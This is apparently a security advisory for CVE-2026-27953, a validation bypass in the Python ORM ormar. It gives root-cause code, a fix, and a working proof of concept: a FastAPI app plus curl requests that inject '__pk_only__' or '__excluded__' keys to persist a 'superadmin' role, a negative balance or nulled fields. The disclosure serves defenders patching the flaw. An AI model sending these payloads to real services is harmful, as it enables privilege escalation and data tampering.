NetSight
IP …
high7.1

CVE-2026-27953

ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor

Impact

### Summary A Pydantic validation bypass in `ormar`'s model constructor allows any unauthenticated user to skip **all** field validation — type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks — by injecting `"__pk_only__": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar's official documentation and examples. A secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction. ### Details **Root cause:** `NewBaseModel.__init__` ([`ormar/models/newbasemodel.py`, line 128](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L128)) pops `__pk_only__` directly from user-supplied `**kwargs` before any validation occurs: ```python # ormar/models/newbasemodel.py, lines 128-142 pk_only = kwargs.pop("__pk_only__", False) # ← extracted from user kwargs object.__setattr__(self, "__pk_only__", pk_only) new_kwargs, through_tmp_dict = self._process_kwargs(kwargs) if not pk_only: # Normal path: full Pydantic validation new_kwargs = self.serialize_nested_models_json_fields(new_kwargs) self.__pydantic_validator__.validate_python( new_kwargs, self_instance=self ) else: # Bypass path: NO validation at all fields_set = {self.ormar_config.pkname} values = new_kwargs object.__setattr__(self, "__dict__", values) # raw dict written directly object.__setattr__(self, "__pydantic_fields_set__", fields_set) ``` The `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in [`ormar/fields/foreign_key.py` (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign_key.py#L41). However, because it is extracted from `**kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag. **Why the canonical FastAPI + ormar pattern is vulnerable:** Ormar's official example ([`examples/fastapi_quick_start.py`, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py#L55)) recommends using ormar models directly as FastAPI request body parameters: ```python @app.post("/items/", response_model=Item) async def create_item(item: Item): await item.save() return item ``` FastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar's `__init__`. The `__pk_only__` key is popped at line 128 **before** Pydantic's validator inspects the data, so Pydantic never sees it — even `extra='forbid'` would not prevent this, because the key is already consumed by ormar. The ormar Pydantic `model_config` (set in [`ormar/models/helpers/pydantic.py`, line 108](https://github.com/collerek/ormar/blob/master/ormar/models/helpers/pydantic.py#L108)) does not set `extra='forbid'`, providing no protection even in theory. **What is bypassed when `__pk_only__=True`:** - All type coercion and type checking (e.g., string for int field) - `max_length` constraints on String fields - `choices` constraints - All `@field_validator` and `@model_validator` decorators - `nullable=False` enforcement at the Pydantic level - Required-field enforcement (only `pkname` is put in `fields_set`) - `serialize_nested_models_json_fields()` preprocessing **Save path persists unvalidated data to the database:** After construction with `pk_only=True`, calling `.save()` ([`ormar/models/model.py`, lines 89-107](https://github.com/collerek/ormar/blob/master/ormar/models/model.py#L89)) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(**self_fields)` — persisting the unvalidated data to the database with no re-validation. **Secondary vulnerability — `__excluded__` injection:** The same pattern applies to `__excluded__` at [`ormar/models/newbasemodel.py`, line 292](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L292): ```python excluded: set[str] = kwargs.pop("__excluded__", set()) ``` At lines 326-329, fields listed in `__excluded__` are silently set to `None`: ```python for field_to_nullify in excluded: new_kwargs[field_to_nullify] = None ``` An attacker can inject `"__excluded__": ["email", "password_hash"]` to nullify arbitrary fields during construction. **Affected entry points:** | Entry Point | Exploitable? | |---|---| | `async def create_item(item: Item)` (FastAPI route) | Yes | | `Model.objects.create(**user_dict)` | Yes | | `Model(**user_dict)` | Yes | | `Model.model_validate(user_dict)` | Yes | ### PoC **Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:** ```python # app.py from contextlib import asynccontextmanager import sqlalchemy import uvicorn from fastapi import FastAPI import ormar DATABASE_URL = "sqlite+aiosqlite:///test.db" ormar_base_config = ormar.OrmarConfig( database=ormar.DatabaseConnection(DATABASE_URL), metadata=sqlalchemy.MetaData(), ) @asynccontextmanager async def lifespan(app: FastAPI): database_ = app.state.database if not database_.is_connected: await database_.connect() # Create tables engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", "")) ormar_base_config.metadata.create_all(engine) engine.dispose() yield database_ = app.state.database if database_.is_connected: await database_.disconnect() app = FastAPI(lifespan=lifespan) database = ormar.DatabaseConnection(DATABASE_URL) app.state.database = database class User(ormar.Model): ormar_config = ormar_base_config.copy(tablename="users") id: int = ormar.Integer(primary_key=True) name: str = ormar.String(max_length=50) email: str = ormar.String(max_length=100) role: str = ormar.String(max_length=20, default="user") balance: int = ormar.Integer(default=0) # Canonical ormar pattern from official examples @app.post("/users/", response_model=User) async def create_user(user: User): await user.save() return user if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8000) ``` **Step 2: Send a normal request (validation works correctly):** ```bash # This correctly rejects — "name" exceeds max_length=50 curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "email": "user@example.com" }' # Returns: 422 Validation Error ``` **Step 3: Inject `__pk_only__` to bypass ALL validation:** ```bash curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "__pk_only__": true, "name": "", "email": "not-an-email", "role": "superadmin", "balance": -99999 }' # Returns: 200 OK — all fields persisted to database WITHOUT validation # - "name" is empty despite being required # - "email" is not a valid email # - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin") # - "balance" is negative (bypassing any ge=0 constraint) ``` **Step 4: Inject `__excluded__` to nullify arbitrary fields:** ```bash curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "__excluded__": ["email", "role"], "name": "attacker", "email": "will-be-nullified@example.com", "role": "will-be-nullified" }' # Returns: 200 OK — email and role are set to NULL regardless of input ``` ### Impact **Who is impacted:** Every application using ormar's canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation. **Vulnerability type:** Complete Pydantic validation bypass. **Impact scenarios:** - **Privilege escalation**: If a model has a `role` or `is_admin` field with a Pydantic validator restricting values to `"user"`, an attacker can set `role="superadmin"` by bypassing the validator - **Data integrity violation**: Type constraints (`max_length`, `ge`/`le`, regex patterns) are all bypassed — invalid data is persisted to the database - **Business logic bypass**: Custom `@field_validator` and `@model_validator` decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped - **Field nullification** (via `__excluded__`): Audit fields, tracking fields, or required business fields can be selectively set to NULL **Suggested fix:** Replace `kwargs.pop("__pk_only__", False)` with a keyword-only parameter that cannot be injected via `**kwargs`: ```python # Before (vulnerable) def __init__(self, *args: Any, **kwargs: Any) -> None: ... pk_only = kwargs.pop("__pk_only__", False) # After (secure) def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None: ... object.__setattr__(self, "__pk_only__", _pk_only) ``` Apply the same fix to `__excluded__`: ```python # Before (vulnerable) excluded: set[str] = kwargs.pop("__excluded__", set()) # After (secure) — pass via keyword-only _excluded parameter def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None: ... # In _process_kwargs: excludes = _excluded or set() ``` Internal callers in `foreign_key.py` would pass `_pk_only=True` as a named argument. Keyword-only parameters prefixed with `_` cannot be injected via JSON body deserialization or `Model(**user_dict)` unpacking.

Affected packages

EcosystemPackageAffectedFixed in
pipormar<= 0.23.00.23.1

Affected products

VendorProductAffected versions
CollerekOrmar
before 0.23.1

Weakness classification

CWE-20CWE-915

References